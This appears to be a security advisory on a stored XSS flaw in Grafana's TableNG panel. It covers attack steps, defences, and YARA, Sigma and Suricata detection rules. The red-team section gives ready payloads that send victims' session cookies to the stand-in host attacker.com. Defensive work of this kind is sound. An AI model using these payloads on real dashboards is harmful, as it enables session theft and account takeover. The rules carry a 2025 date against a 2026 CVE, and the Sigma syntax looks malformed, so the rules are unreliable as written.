CVE-2026-8595

Executive Summary

CVE-2026-8595 is a stored cross-site scripting (XSS) vulnerability in Grafana’s TableNG panel. An authenticated user with Editor permissions can craft a dashboard containing a malicious field name that, when viewed by any user, executes arbitrary JavaScript in the victim’s browser. This allows the attacker to steal session cookies, exfiltrate data, or perform actions on behalf of the victim. The vulnerability has a CVSS score of 6.8 (Medium) and currently has no patch available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for Grafana instances with untrusted Editors.

Supply Chain & Package Security

Grafana is distributed as a Go binary and also via Docker images. The vulnerability resides in the frontend JavaScript code (TableNG panel). No official patch or advisory has been released by the vendor. Users should monitor Grafana’s official channels for updates and consider restricting Editor permissions or disabling the TableNG panel until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs Editor role.
• User Interaction (UI): Required (R) – Victim must view the dashboard.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated Editor access and user interaction, but the stored XSS can lead to account takeover or data theft.

Deep Dive & Mechanics

The vulnerability exists in the TableNG panel, which renders tabular data from dashboard queries. When a user with Editor permissions creates a dashboard, they can define field names for the table columns. The field name is not properly sanitized before being rendered in the browser. An attacker can inject a malicious JavaScript payload into the field name, such as:

<img src=x onerror=alert(1)>

When any user (including viewers) opens the dashboard, the browser executes the injected script. This is a classic stored XSS (CWE-79) because the payload is stored in the dashboard configuration and served to all viewers.

The attack flow:

1. Attacker logs in as Editor.
2. Creates a new dashboard with a TableNG panel.
3. Sets a field name to a malicious XSS payload.
4. Shares the dashboard link or waits for other users to view it.
5. Victim views the dashboard → script executes in victim’s browser.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// TableNG panel rendering field names
function renderFieldName(field) {
    return `<th>${field.name}</th>`; // No sanitization
}

Patched Code (Expected):

// Properly escaped field name
function renderFieldName(field) {
    const safeName = escapeHtml(field.name);
    return `<th>${safeName}</th>`;
}

No official patch has been released. The fix should involve HTML entity encoding or using a safe DOM API (e.g., textContent instead of innerHTML).

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Grafana instance (any version with TableNG panel)
• User account with Editor role
• Ability to create dashboards

Steps:

1. Log in as Editor.
2. Navigate to Dashboards → New Dashboard.
3. Add a new panel and select “Table” (TableNG).
4. In the query editor, define a field with a malicious name, e.g.:

   <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   

5. Save the dashboard.
6. Share the dashboard link with a victim (or wait for them to view it).
7. When the victim opens the dashboard, the script executes and exfiltrates their cookies.

Example Payload:

<img src=x onerror="new Image().src='https://attacker.com/steal?c='+document.cookie">

Blue Team (Detection & Defense)

Detection:

• Monitor Grafana audit logs for dashboard creation/modification by Editors.
• Look for unusual field names containing HTML tags or JavaScript event handlers.
• Use web application firewall (WAF) rules to block XSS payloads in dashboard API requests.

Defense:

• Restrict Editor permissions to trusted users only.
• Disable the TableNG panel if not needed (via Grafana plugin management).
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a reverse proxy with XSS filtering (e.g., ModSecurity).

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from Grafana frontend.
• Logs: Grafana audit logs showing dashboard creation with suspicious field names containing <script>, <img onerror>, or similar patterns.
• File System: No file-based IOCs; the payload is stored in the database (dashboard JSON).
• Memory: Injected JavaScript in browser memory during dashboard rendering.

Example IOC (Dashboard JSON snippet):

{
  "panels": [
    {
      "type": "table",
      "fieldConfig": {
        "defaults": {
          "custom": {
            "columns": [
              {
                "text": "<img src=x onerror=alert(1)>",
                "value": "malicious"
              }
            ]
          }
        }
      }
    }
  ]
}

Detection Engineering

YARA Rule

rule grafana_tableng_xss {
    meta:
        description = "Detects stored XSS payloads in Grafana TableNG field names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-8595"
    strings:
        $xss1 = /<[^>]*onerror\s*=[^>]*>/i
        $xss2 = /<[^>]*onload\s*=[^>]*>/i
        $xss3 = /<script[^>]*>/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Grafana TableNG Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of Grafana dashboards with malicious field names (CVE-2026-8595)
author: Valters IT
date: 2025-04-10
logsource:
    product: grafana
    service: audit
detection:
    selection:
        action: "dashboard.create" or "dashboard.update"
        body|contains:
            - "<img"
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in field names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Grafana TableNG Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/steal?c="; http_uri;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Editor permissions to only trusted users.
2. Disable the TableNG panel if not required (via Grafana plugin settings).
3. Implement a Content Security Policy (CSP) with script-src 'self' to block inline scripts.
4. Use a web application firewall (WAF) to filter XSS payloads in API requests.

Long-Term Fix:

• Apply vendor patch when released.
• Upgrade to a patched version of Grafana.
• Conduct code review of custom panels for similar vulnerabilities.

Workaround:

• Modify the Grafana source code to sanitize field names (if self-hosted).
• Use a reverse proxy to strip HTML tags from dashboard API responses.

Valters IT